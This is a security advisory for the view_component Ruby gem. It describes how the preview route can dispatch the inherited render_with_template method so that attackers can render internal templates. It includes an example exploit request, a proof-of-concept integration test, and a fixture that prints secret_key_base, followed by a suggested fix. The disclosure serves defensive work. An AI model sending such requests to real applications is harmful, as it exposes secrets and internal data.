view_component: Preview Route Can Dispatch Inherited Helper MethodsCVE-2026-44836

### Summary The preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. Severity: High if preview routes are externally reachable; Medium otherwise. Affected files: - `lib/view_component/preview.rb` - `app/controllers/concerns/view_component/preview_actions.rb` - `app/views/view_components/preview.html.erb` ### Relevant Code `app/controllers/concerns/view_component/preview_actions.rb`: ```ruby @example_name = File.basename(params[:path]) @render_args = @preview.render_args(@example_name, params: params.permit!) ``` `lib/view_component/preview.rb`: ```ruby example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) ``` `app/views/view_components/preview.html.erb`: ```erb <%= render template: @render_args[:template], locals: @render_args[:locals] || {} %> ``` The UI only lists direct preview methods via: ```ruby public_instance_methods(false).map(&:to_s).sort ``` But `render_args` does not enforce that list before dispatching. ### Exploit Flow Example request: ```text GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request ``` Flow: 1. `my_component` resolves to a valid preview. 2. `File.basename(params[:path])` returns `render_with_template`. 3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`. 4. Request params provide `template: "internal/secret"` and `locals: {...}`. 5. The preview view renders `internal/secret` with attacker-controlled locals. Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values. ### PoC Test This checkout already contains a PoC at: - `test/sandbox/test/security_preview_template_poc_test.rb` - `test/sandbox/app/views/internal/secret.html.erb` The test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`. If reproducing manually, run: ```bash bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb ``` Equivalent standalone test: ```ruby # frozen_string_literal: true require "test_helper" class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest def setup ViewComponent::Preview.__vc_load_previews end def test_preview_route_can_invoke_inherited_render_with_template refute_includes MyComponentPreview.examples, "render_with_template" assert_raises(ActionController::RoutingError) do Rails.application.routes.recognize_path("/internal/secret") end get( "/rails/view_components/my_component/render_with_template", params: { template: "internal/secret", locals: {poc_local: "attacker-controlled-local"}, request_marker: "attacker-controlled-request" } ) assert_response :success assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo" assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local" assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request" end end ``` Fixture template: ```erb <div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div> <div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div> <div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div> ``` ### Suggested Fix Only dispatch explicitly declared preview examples: ```ruby def render_args(example, params: {}) example = example.to_s raise AbstractController::ActionNotFound unless examples.include?(example) example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) result ||= {} result[:template] = preview_example_template_path(example) if result[:template].nil? @layout = nil unless defined?(@layout) result.merge(layout: @layout) end ``` Add a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.

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